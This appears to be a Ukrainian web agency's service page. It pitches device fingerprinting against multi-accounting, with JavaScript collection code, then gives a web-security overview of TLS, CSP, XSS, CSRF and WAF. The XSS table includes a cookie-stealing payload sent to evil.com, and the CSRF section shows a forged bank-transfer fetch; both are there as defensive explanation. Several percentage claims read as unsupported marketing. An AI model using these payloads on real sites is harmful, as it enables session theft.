Device Fingerprinting: захист від мультиакаунтингу та ботів

Наша компанія займається розробкою, підтримкою та обслуговуванням сайтів будь-якої складності. Від простих односторінкових сайтів до масштабних кластерних систем, побудованих на мікро сервісах. Досвід розробників підтверджено сертифікатами від вендорів.

Розробка та обслуговування будь-яких видів сайтів:

Інформаційні сайти або веб-програми
Сайти візитки, landing page, корпоративні сайти, онлайн каталоги, квіз, промо-сайти, блоги, ресурси новин, інформаційні портали, форуми, агрегатори
Сайти або веб-програми електронної комерції
Інтернет-магазини, B2B-портали, маркетплейси, онлайн-обмінники, кешбек-сайти, біржі, дропшиппінг-платформи, парсери товарів
Веб-програми для управління бізнес-процесами
CRM-системи, ERP-системи, корпоративні портали, системи управління виробництвом, парсери інформації
Сайти або веб-програми електронних послуг
Дошки оголошень, онлайн-школи, онлайн-кінотеатри, конструктори сайтів, портали надання електронних послуг, відеохостинги, тематичні портали

Це лише деякі з технічних типів сайтів, з якими ми працюємо, і кожен із них може мати свої специфічні особливості та функціональність, а також бути адаптованим під конкретні потреби та цілі клієнта.

Послуги, які ми пропонуємо
Показано 1 з 1Усі 2062 послуг
Device Fingerprinting: захист від мультиакаунтингу та ботів
Складний
~3-5 днів
Часті запитання

Наші компетенції:

Етапи розробки

Останні роботи

  • image_website-b2b-advance_0.webp
    Розробка сайту компанії B2B ADVANCE
    1358
  • image_web-applications_feedme_466_0.webp
    Розробка веб-додатків для компанії FEEDME
    1251
  • image_websites_belfingroup_462_0.webp
    Розробка веб-сайту для компанії БЕЛФІНГРУП
    957
  • image_ecommerce_furnoro_435_0.webp
    Розробка інтернет магазину для компанії FURNORO
    1188
  • image_crm_enviok_479_0.webp
    Розробка веб-додатків для компанії Enviok
    929
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Розробка веб-сайту для компанії ФІКСПЕР
    947

Шахрай скинув cookies, змінив IP через VPN і знову реєструється — новий акаунт, старі проблеми. Бізнес втрачає гроші на фроді, накрутках та мультиакаунтингу. Втрати від зловживань можуть досягати 10% обороту e-commerce. Device fingerprinting розпізнає пристрої навіть у режимі інкогніто та без cookies. Наша реалізація вже захистила 15+ проєктів у фінтехі та на маркетплейсах. На відміну від cookies, fingerprint невразливий до очищення та забезпечує до 80 біт ентропії fingerprint — цього достатньо для глобальної унікальності. Наприклад, Canvas fingerprint видає GPU-залежний відбиток навіть при однаковому обладнанні, а WebGL fingerprint розкриває модель відеокарти.

Device fingerprinting — ключовий інструмент для виявлення зловживань. Він дозволяє виявити зловмисників, які використовують безліч акаунтів з одного пристрою. На одному з проєктів ми виявили 47 акаунтів з однаковим fingerprint — усі вони виявилися фейковими. Після блокування за fingerprint фрод знизився на 70% за тиждень. Економія для клієнта склала до $8,000 на місяць.

Чому device fingerprinting надійніше за cookies?

Cookies легко очистити або вимкнути. Device fingerprinting аналізує десятки параметрів браузера, які неможливо скинути без зміни пристрою. Ентропія комбінації досягає 40–80 біт — достатньо для глобальної унікальності. Порівняйте методи:

Метод Переваги Недоліки
Cookies Простота, стандарт Видаляються, вимикаються, спільні для браузера
IP-адреса Доступна завжди Змінюється, динамічна, проксі
Device fingerprint Стійкий, не залежить від cookies Вимагає JavaScript, може бути обійдений

Інше порівняння — open-source бібліотеки проти комерційних:

Рішення Точність Захист від обходу Підтримка
Open-source (FingerprintJS) 40–60% стабільності Базова Спільнота
Комерційне (FingerprintJS Pro) 99.5% стабільності Детект інкогніто, аномалії, SwiftShader Професійна

Open-source рішення мають точність 40–60%, тоді як комерційні — 99.5% — майже вдвічі краще. Cookies дають унікальність лише у 40% випадків, а якісний fingerprint — у 99.5%.

Як device fingerprinting допомагає у виявленні зловживань?

При реєстрації кожного нового акаунту знімається fingerprint пристрою. Якщо один і той самий fingerprint фіксується для різних акаунтів, система позначає їх як підозрілі. Це дозволяє виявити накрутки, фрод та обхід блокувань fingerprint.

Приклад: як ми виявили накрутку на маркетплейсі. Клієнт скаржився на масову реєстрацію фейкових продавців. Ми впровадили device fingerprinting і виявили, що з одного пристрою (один і той самий fingerprint) було створено 47 акаунтів різних «продавців» за годину. Після блокування за fingerprint фрод знизився на 70%.

Які методи обходу fingerprint існують і як ми захищаємося?

Сучасні блокувальники (Canvas Blocker, Privacy Badger) маскують або підмінюють атрибути. Для захисту ми перевіряємо узгодженість fingerprint з HTTP-заголовками, детектуємо віртуальні середовища (SwiftShader) та використовуємо поведінкову аналітику. Наша антифрод система також враховує аномалії в ідентифікації пристроїв.

Джерело: документація FingerprintJS.

Докладніше про технологію — на Wikipedia.

Як ми реалізуємо device fingerprinting під ключ?

Клієнтський збір (JavaScript)

Збираємо всі компоненти: роздільну здатність екрану, шрифти, Canvas, WebGL, AudioContext, список плагінів тощо. Використовуємо хеш SHA-256 для visitor ID.

class DeviceFingerprinter {
  async collect() {
    const [canvas, webgl, audio, fonts] = await Promise.all([
      this.getCanvasFingerprint(),
      this.getWebGLFingerprint(),
      this.getAudioFingerprint(),
      this.getInstalledFonts(),
    ])

    return {
      userAgent: navigator.userAgent,
      platform: navigator.platform,
      language: navigator.language,
      languages: navigator.languages?.join(',') ?? '',
      timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
      screenResolution: `${screen.width}x${screen.height}`,
      screenDepth: screen.colorDepth,
      devicePixelRatio: window.devicePixelRatio,
      windowSize: `${window.innerWidth}x${window.innerHeight}`,
      cpuCores: navigator.hardwareConcurrency,
      deviceMemory: navigator.deviceMemory,
      canvas,
      webgl,
      audio,
      fonts: fonts.slice(0, 20).join(','),
      cookieEnabled: navigator.cookieEnabled,
      doNotTrack: navigator.doNotTrack,
      touchPoints: navigator.maxTouchPoints,
      pdfViewer: navigator.pdfViewerEnabled,
    }
  }

  async getCanvasFingerprint() {
    const canvas = document.createElement('canvas')
    canvas.width = 200
    canvas.height = 50
    const ctx = canvas.getContext('2d')
    ctx.textBaseline = 'top'
    ctx.font = '14px Arial'
    ctx.fillStyle = '#f60'
    ctx.fillRect(125, 1, 62, 20)
    ctx.fillStyle = '#069'
    ctx.fillText('FP Test 🦄 ', 2, 15)
    ctx.fillStyle = 'rgba(102, 204, 0, 0.7)'
    ctx.fillText('FP Test 🦄 ', 4, 17)
    return canvas.toDataURL().split(',')[1].substring(0, 50)
  }

  async getWebGLFingerprint() {
    const canvas = document.createElement('canvas')
    const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl')
    if (!gl) return 'no_webgl'
    const debugInfo = gl.getExtension('WEBGL_debug_renderer_info')
    const vendor = debugInfo ? gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) : gl.getParameter(gl.VENDOR)
    const renderer = debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : gl.getParameter(gl.RENDERER)
    return `${vendor}~${renderer}`
  }

  async getAudioFingerprint() {
    try {
      const ctx = new (window.AudioContext || window.webkitAudioContext)()
      const oscillator = ctx.createOscillator()
      const analyser = ctx.createAnalyser()
      const gain = ctx.createGain()
      gain.gain.value = 0
      oscillator.connect(analyser)
      analyser.connect(gain)
      gain.connect(ctx.destination)
      oscillator.start(0)
      const buf = new Float32Array(analyser.frequencyBinCount)
      analyser.getFloatFrequencyData(buf)
      oscillator.stop()
      ctx.close()
      return buf.slice(0, 10).join(',')
    } catch { return 'no_audio' }
  }

  async getInstalledFonts() {
    const baseline = this._measureFont('monospace')
    const fonts = ['Arial','Verdana','Helvetica','Times New Roman','Courier New','Georgia','Palatino','Garamond','Comic Sans MS','Trebuchet MS','Arial Black','Impact','Tahoma','Geneva','Lucida Console']
    return fonts.filter(font => this._measureFont(font) !== baseline)
  }

  _measureFont(font) {
    const canvas = document.createElement('canvas')
    const ctx = canvas.getContext('2d')
    ctx.font = `72px ${font}, monospace`
    return ctx.measureText('mmmmmmmmmml').width
  }

  async getHash(data) {
    const str = JSON.stringify(data)
    const buf = new TextEncoder().encode(str)
    const hashBuf = await crypto.subtle.digest('SHA-256', buf)
    const hashArr = Array.from(new Uint8Array(hashBuf))
    return hashArr.map(b => b.toString(16).padStart(2, '0')).join('')
  }
}

const fp = new DeviceFingerprinter()
const components = await fp.collect()
const visitorId = await fp.getHash(components)
fetch('/api/auth/login', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ ...formData, device_fp: visitorId, fp_components: components })
})

FingerprintJS Pro — готова бібліотека

Для комерційних проєктів використовуємо FingerprintJS Pro: точність 99.5% проти 40-60% у open-source. Він також визначає режим інкогніто.

import FingerprintJS from '@fingerprintjs/fingerprintjs-pro'
const fp = await FingerprintJS.load({ apiKey: 'YOUR_API_KEY' })
const result = await fp.get()
// result.visitorId — стабільний ID пристрою
// result.confidence.score — впевненість 0-1
// result.incognito — режим інкогніто виявлено

Як захистити fingerprint від обходу?

Перевіряємо узгодженість fingerprint з HTTP-заголовками, детектуємо SwiftShader (ознака віртуальної машини) та аналізуємо аномалії. Наша команда має 5+ років досвіду в антифроді, гарантуючи якісний захист від ботів.

def check_fp_consistency(components: dict, header_ua: str) -> bool:
    fp_ua = components.get('userAgent', '')
    if fp_ua != header_ua: return False
    canvas = components.get('canvas', '')
    if not canvas or canvas == 'data:,' : return False
    webgl = components.get('webgl', '')
    if webgl in ['', 'no_webgl', 'Google SwiftShader']: pass
    return True

Процес впровадження

Список етапів
  1. Аналіз вимог — визначаємо критичні точки (реєстрація, оплата, вхід).
  2. Інтеграція клієнтського збору — вбудовуємо скрипт у фронтенд.
  3. Розробка серверної логіки — база даних для зберігання fingerprint і перевірок.
  4. Налаштування антифрод-правил — пороги спрацювання, блокування, сповіщення.
  5. Тестування — A/B, регресія, перевірка обходу інструментами.
  6. Деплой і моніторинг — з можливістю доналаштування.

Що входить у роботу

  • Документація API та інтеграції
  • Доступи до серверної частини та бази даних
  • Навчання вашої команди роботі з системою
  • Підтримка протягом 30 днів після впровадження

Строки орієнтовно

Реалізація серверного + клієнтського device fingerprinting з інтеграцією в систему виявлення зловживань — від 3 до 5 робочих днів залежно від складності.

Навіщо це вашому бізнесу?

Device fingerprinting знижує збитки від фроду, накруток та мультиакаунтингу. Ми впровадили його для 15+ компаній — у фінтехі, e-commerce та SaaS. За нашими даними, фрод знижується на 70% в середньому. Наша команда має 5+ років досвіду в антифроді, гарантуючи якісний захист від ботів. Якщо ви зіткнулися з мультиакаунтингом або накрутками, зв'яжіться з нами — ми допоможемо впровадити захист. Отримайте консультацію щодо впровадження device fingerprinting — ми підберемо оптимальне рішення під ваш стек.

Безпека веб-додатків: що приховує «тихий» злом

Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.

Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.

HTTPS та правильна конфігурація TLS

HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.

В конфігурації Nginx/Apache перевіряємо:

  • Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
  • Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security з includeSubDomains; preload) — браузер більше не робить незахищених запитів
  • OCSP Stapling — прискорює перевірку відкликання сертифіката
  • Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)

Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.

Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.

Content Security Policy: як він закриває XSS на 99%?

CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.

Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.

Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.

'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.

CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.

Чому XSS залишається найпоширенішою вразливістю?

XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:

Тип XSS Приклад Захист
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Екранування виводу, CSP
Stored Коментар з кодом, збережений в базі Валідація вводу, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Уникати innerHTML, використовувати textContent

Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.

Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.

CSRF: захист форм та API

CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.

CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.

SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.

API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.

WAF та захист від DDoS

WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:

  • Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
  • AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.

DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).

Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).

Інші обов'язкові заходи

Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).

SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.

Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.

Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.

Як ми працюємо?

  1. Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
  2. Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
  3. Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
  4. Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
  5. Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.

Що входить в роботу?

  • Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
  • Готова конфігурація TLS (Nginx/Apache)
  • Політика CSP з режимом Report-Only та бойовою версією
  • Налаштування WAF та Rate Limiting
  • План оновлень залежностей
  • Доступи до інструментів моніторингу (Sentry, Datadog)
  • 30 днів постаудит-підтримки (консультації, правки)

Терміни та вартість

Тип робіт Строк
Security-аудит + hardening (заголовки, TLS, оновлення) 1–2 тижні
Впровадження CSP (Report-Only → продакшен) 2–4 тижні
Налаштування WAF + Rate Limiting + DDoS захист 1–2 тижні
Комплексний security review + пентест 3–6 тижнів

Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.